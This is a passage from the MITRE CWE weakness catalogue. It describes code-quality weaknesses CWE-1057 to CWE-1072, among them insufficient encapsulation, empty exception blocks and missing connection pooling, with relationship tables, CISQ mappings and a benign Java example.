A named-callable or method control element has a signature that supports a variable (variadic) number of parameters or arguments.

### Extended Description

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

With variadic arguments, it can be difficult or inefficient for manual analysis to be certain of which function/method is being invoked.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2273

### Weakness Ordinalities


**Indirect :**

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability	<input checked="" type="checkbox"/>	1128 2233

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-8		

## References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-1057: Data Access Operations Outside of Expected Data Manager Component

**Weakness ID :** 1057

**Structure :** Simple

**Abstraction :** Base

## Description

The product uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.


## Extended Description

This issue can make the product perform more slowly than intended, since the intended central data manager may have been explicitly optimized for performance or other quality characteristics. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1061	Insufficient Encapsulation	1762

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1227	Encapsulation Issues	2274

## Weakness Ordinalities

**Indirect :**

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf		1309	CISQ Quality Measures - Efficiency	1305	2279

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-11		

## References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

## CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element

**Weakness ID** : 1058

**Structure** : Simple

**Abstraction** : Base

## Description

The code contains a function or method that operates in a multi-threaded environment but owns an unsafe non-final static storable or member data element.

## Extended Description

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		557	Concurrency Issues	2122

### Weakness Ordinalities



Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability	1128	2233

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRC-RLB-11		

### References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRC)". 2016 January. < <http://www.omg.org/spec/ASCRC/1.0/> >.

## CWE-1059: Insufficient Technical Documentation

**Weakness ID :** 1059

**Structure :** Simple

**Abstraction :** Class

### Description

The product does not contain sufficient technical or engineering documentation (whether on paper or in electronic form) that contains descriptions of all the relevant software/hardware elements of the product, such as its usage, structure, architectural components, interfaces, design, implementation, configuration, operation, etc.

### Extended Description

When technical documentation is limited or lacking, products are more difficult to maintain. This indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.

When using time-limited or labor-limited third-party/in-house security consulting services (such as threat modeling, vulnerability discovery, or pentesting), insufficient documentation can force those consultants to invest unnecessary time in learning how the product is organized, instead of focusing their expertise on finding the flaws or suggesting effective mitigations.

With respect to hardware design, the lack of a formal, final manufacturer reference can make it difficult or impossible to evaluate the final product, including post-manufacture verification. One

cannot ensure that design functionality or operation is within acceptable tolerances, conforms to specifications, and is free from unexpected behavior. Hardware-related documentation may include engineering artifacts such as hardware description language (HDLs), netlists, Gerber files, Bills of Materials, EDA (Electronic Design Automation) tool files, etc.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
ParentOf	E	1053	Missing Documentation for Design	1753
ParentOf	E	1110	Incomplete Design Documentation	1808
ParentOf	E	1111	Incomplete I/O Documentation	1809
ParentOf	E	1112	Incomplete Documentation of Program Execution	1810
ParentOf	E	1118	Insufficient Documentation of Error Handling Techniques	1815

## Weakness Ordinalities

**Indirect :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

**Technology :** ICS/OT (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context Hide Activities Reduce Reliability Quality Degradation Reduce Maintainability  <i>Without a method of verification, one cannot be sure that everything only functions as expected.</i>	

## Potential Mitigations

**Phase: Documentation**

**Phase: Architecture and Design**

Ensure that design documentation is detailed enough to allow for post-manufacturing verification.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1195	Manufacturing and Life Cycle Management Concerns	1194	2262

Nature	Type	ID	Name	V	Page
MemberOf		1208	Cross-Cutting Problems	1194	2268
MemberOf		1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2297
MemberOf		1371	ICS Supply Chain: Poorly Documented or Undocumented Features	1358	2299
MemberOf		1375	ICS Engineering (Construction/Deployment): Gaps in Details/Data	1358	2302

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

[REF-1254]FDA. "Cybersecurity in Medical Devices: Quality System Considerations and Content of Premarket Submissions Draft Guidance for Industry and Food and Drug Administration Staff (DRAFT GUIDANCE)". 2022 April 8. < <https://www.fda.gov/media/119933/download> >.

## CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses

**Weakness ID** : 1060

**Structure** : Simple

**Abstraction** : Base

### Description

The product performs too many data queries without using efficient data processing functionality such as stored procedures.

### Extended Description

This issue can make the product perform more slowly due to computational expense. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "too many data queries" may vary for each product or developer, CISQ recommends a default maximum of 5 data queries for an inefficient function/procedure.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	



Scope	Impact	Likelihood
-------	--------	------------

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf	<b>C</b>	1309	CISQ Quality Measures - Efficiency	1305	2279

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-9		

### References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

## CWE-1061: Insufficient Encapsulation

**Weakness ID :** 1061

**Structure :** Simple

**Abstraction :** Class

### Description

The product does not sufficiently hide the internal representation and implementation details of data or methods, which might allow external components or modules to modify data unexpectedly, invoke unexpected functionality, or introduce dependencies that the programmer did not intend.

### Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
ParentOf	<b>V</b>	766	Critical Data Element Declared Public	1495
ParentOf	<b>B</b>	1054	Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer	1754
ParentOf	<b>B</b>	1057	Data Access Operations Outside of Expected Data Manager Component	1757
ParentOf	<b>B</b>	1062	Parent Class with References to Child Class	1763
ParentOf	<b>B</b>	1083	Data Access from Outside Expected Data Manager Component	1783

Nature	Type	ID	Name	Page
ParentOf	B	1090	Method Containing Access of a Member Element from Another Class	1791
ParentOf	B	1100	Insufficient Isolation of System-Dependent Functions	1800
ParentOf	B	1105	Insufficient Encapsulation of Machine-Dependent Functionality	1804

### Weakness Ordinalities

**Indirect :**

### References

[REF-969]Wikipedia. "Encapsulation (computer programming)". < [https://en.wikipedia.org/wiki/Encapsulation\\_\(computer\\_programming\)](https://en.wikipedia.org/wiki/Encapsulation_(computer_programming)) >.

## CWE-1062: Parent Class with References to Child Class

**Weakness ID :** 1062

**Structure :** Simple

**Abstraction :** Base

### Description

The code has a parent class that contains references to a child class, its methods, or its members.

### Extended Description

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	1061	Insufficient Encapsulation	1762

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2274

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-14		

### References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-1063: Creation of Class Instance within a Static Code Block

**Weakness ID :** 1063

**Structure :** Simple

**Abstraction :** Base

### Description

A static code block creates an instance of a class.

### Extended Description

This pattern identifies situations where a storable data element or member data element is initialized with a value in a block of code which is declared as static.

This issue can make the product perform more slowly by performing initialization before it is needed. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1176	Inefficient CPU Computation	1826

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-1		

### References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

## CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters

**Weakness ID :** 1064

**Structure :** Simple

**Abstraction :** Base

### Description

The product contains a function, subroutine, or method whose signature has an unnecessarily large number of parameters/arguments.

### Extended Description

This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of parameters." may vary for each product or developer, CISQ recommends a default maximum of 7 parameters/arguments.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

Scope	Impact	Likelihood
-------	--------	------------

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-13		

### References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers

**Weakness ID** : 1065

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses deployed components from application servers, but it also uses low-level functions/methods for management of resources, instead of the API provided by the application server.

### Extended Description

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2233

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-5		

### References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-1066: Missing Serialization Control Element

**Weakness ID** : 1066

**Structure** : Simple

**Abstraction** : Base

### Description

The product contains a serializable data element that does not have an associated serialization method.

### Extended Description

This issue can prevent the product from running reliably, e.g. by triggering an exception. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

As examples, the serializable nature of a data element comes from a serializable `SerializableAttribute` attribute in .NET and the inheritance from the `java.io.Serializable` interface in Java.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2215

### Weakness Ordinalities

Indirect :

**Common Consequences**

Scope	Impact	Likelihood
Other	Reduce Reliability	

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-2		

**References**

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

**CWE-1067: Excessive Execution of Sequential Searches of Data Resource**

Weakness ID : 1067

Structure : Simple

Abstraction : Base

**Description**

The product contains a data query against an SQL table or view that is configured in a way that does not utilize an index and may cause sequential searches to be performed.

**Extended Description**

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	1176	Inefficient CPU Computation	1826

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2215

**Weakness Ordinalities**

Indirect :



## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<span style="color: red;">C</span>	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf	<span style="color: red;">C</span>	1309	CISQ Quality Measures - Efficiency	1305	2279

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-5		

## References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

## CWE-1068: Inconsistency Between Implementation and Documented Design

**Weakness ID :** 1068

**Structure :** Simple

**Abstraction :** Base

## Description

The implementation of the product is not consistent with the design as described within the relevant documentation.

## Extended Description

This issue makes it more difficult to maintain the product due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<span style="color: red;">C</span>	1225	Documentation Issues	2273

## Weakness Ordinalities

**Indirect :**

## Applicable Platforms

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2297

## References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1069: Empty Exception Block

**Weakness ID** : 1069

**Structure** : Simple

**Abstraction** : Base

## Description

An invokable code block contains an exception handling block that does not contain any code, i.e. is empty.

## Extended Description

When an exception handling block (such as a Catch and Finally block) is used, but that block is empty, this can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	1071	Empty Code Block	1773

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2115

## Weakness Ordinalities

**Indirect** :

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

### Potential Mitigations

#### Phase: Implementation

For every exception block add code that handles the specific exception in the way intended by the application.

### Demonstrative Examples

#### Example 1:

In the following Java example, the code catches an ArithmeticException.

Example Language: Java

(Bad)

```
public class Main {
    public static void main(String[] args) {
        int a = 1;
        int b = 0;
        int c = 0;
        try {
            c = a / b;
        } catch(ArithmeticException ae) {
        }
    }
}
```

Since the exception block is empty, no action is taken.

In the code below the exception has been logged and the bad execution has been handled in the desired way allowing the program to continue in an expected way.

Example Language: Java

(Good)

```
public class Main {
    public static void main(String[] args) {
        int a = 1;
        int b = 0;
        int c = 0;
        try {
            c = a / b;
        } catch(ArithmeticException ae) {
            log.error("Divided by zero detected, setting to -1.");
            c = -1;
        }
    }
}
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability	<input checked="" type="checkbox"/>	1128 2233

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-1		

### References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-1070: Serializable Data Element Containing non-Serializable Item Elements

**Weakness ID :** 1070

**Structure :** Simple

**Abstraction :** Base

### Description

The product contains a serializable, storable data element such as a field or member, but the data element contains member elements that are not serializable.

### Extended Description

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

As examples, the serializable nature of a data element comes from a serializable `SerializableAttribute` attribute in .NET and the inheritance from the `java.io.Serializable` interface in Java.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

### MemberOf Relationships

This `MemberOf` relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-3		

## References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-1071: Empty Code Block

**Weakness ID :** 1071

**Structure :** Simple

**Abstraction :** Base

### Description

The source code contains a block that does not contain any code, i.e., the block is empty.




### Extended Description

Empty code blocks can occur in the bodies of conditionals, function or method definitions, exception handlers, etc. While an empty code block might be intentional, it might also indicate incomplete implementation, accidental code deletion, unexpected macro expansion, etc. For some programming languages and constructs, an empty block might be allowed by the syntax, but the lack of any behavior within the block might violate a convention or API in such a way that it is an error.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1164	Irrelevant Code	1823
ParentOf		585	Empty Synchronized Block	1241
ParentOf		1069	Empty Exception Block	1770

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

## CWE-1072: Data Resource Access without Use of Connection Pooling

**Weakness ID :** 1072

**Structure :** Simple

**Abstraction :** Base

## Description

The product accesses a data resource through a database without using a connection pooling capability.

## Extended Description

This issue can make the product perform more slowly, as connection pools allow connections to be reused without the overhead and time consumption of opening and closing a new connection. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	933

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities

Indirect :

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf		1309	CISQ Quality Measures - Efficiency	1305	2279

## Taxonomy Mappings

